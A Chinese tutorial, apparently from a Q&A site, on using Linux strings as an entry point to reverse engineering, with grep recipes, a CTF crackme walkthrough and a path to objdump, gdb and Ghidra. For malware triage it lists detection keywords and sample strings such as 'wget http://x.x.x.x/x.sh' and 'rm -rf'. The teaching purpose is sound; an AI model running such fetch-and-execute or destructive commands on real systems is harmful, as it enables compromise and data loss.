温馨提示×

如何用linux strings学逆向

小樊
40
2026-10-02 12:52:59
栏目: 智能运维

在 Linux 下用 strings 学逆向,是一个非常实用、低门槛的入门方式。它不能替代真正的逆向工程,但能帮你快速建立直觉:程序在做什么、用了什么库、藏了什么字符串、有没有可疑逻辑。

下面我从「能学什么 → 怎么用 → 实战思路 → 进阶路径」系统讲一下。


一、strings 能帮你学什么(逆向视角)

strings 做的事情很简单:
从二进制文件中提取“可打印字符序列”。

在逆向里,它常用于:

  1. 快速了解程序功能
    • 报错信息
    • 日志
    • 提示语
  2. 发现硬编码敏感信息
    • 密码
    • URL
    • API Key
    • 加密盐
  3. 识别使用的库 / 框架
    • OpenSSL
    • libcurl
    • SQLite
  4. 定位关键逻辑入口
    • Usage:
    • Wrong password
    • DEBUG
  5. 辅助动态/静态分析
    • 用字符串反查函数(配合 objdump / gdb)

二、基础用法(必须会)

1. 最基本

strings binary

2. 只看长度 ≥ 8 的字符串(更干净)

strings -n 8 binary

3. 显示字符串在文件中的偏移(非常重要)

strings -t x binary

或十进制:

strings -t d binary

偏移常用于:

  • 配合 objdump
  • 配合 grep 定位地址

三、配合 grep 学“程序在想什么”

找密码 / 密钥线索

strings binary | grep -iE "pass|key|token|secret"

找网络行为

strings binary | grep -iE "http|url|connect|socket"

找调试 / 后门

strings binary | grep -iE "debug|backdoor|shell|exec"

找错误信息(非常有用)

strings binary | grep -iE "error|fail|invalid"

四、实战逆向思路(用 strings 入门)

场景 1:CTF 里的“简单验证程序”

strings crackme

你可能看到:

Enter password:
Wrong password!
Correct!
Usage: ./crackme <password>

下一步:

strings -t x crackme | grep "Wrong"

得到偏移 → 用:

objdump -d crackme | less

搜索该地址附近逻辑。


场景 2:判断是不是加壳 / 混淆

strings binary | wc -l
  • 很少字符串 → 可能加壳(UPX 等)
  • 很多乱码 → 可能加密或混淆

检查是否 UPX:

strings binary | grep -i upx

场景 3:分析恶意样本(不运行)

strings malware | grep -iE "wget|curl|/bin/sh|/tmp"

你经常能看到:

/bin/sh
wget http://x.x.x.x/x.sh
rm -rf

五、strings 的局限(很重要)

⚠️ strings 看不到:

  • 运行时拼接的字符串
  • 加密后的数据
  • 只存在于寄存器中的值

所以它只是:

逆向的第一道光,不是全部答案


六、从 strings 到“真逆向”的进阶路线

当你用 strings 玩熟了,建议这样走:

  1. file / readelf
    file binary
    readelf -h binary
    
  2. objdump 看汇编
    objdump -d binary | less
    
  3. gdb 动态调试
    gdb ./binary
    break main
    run
    
  4. radare2 / Ghidra
    • 可视化
    • 反编译
    • 字符串交叉引用

七、一句话总结

strings 是逆向工程的“放大镜”,不是“显微镜”
用它找线索,用汇编和调试器验证真相。

如果你愿意,我可以:

  • 给你一个 CTF 实战 strings 练习示例
  • 或带你 从 strings → objdump 分析一个真实小程序

你想从哪一步开始?

0 踩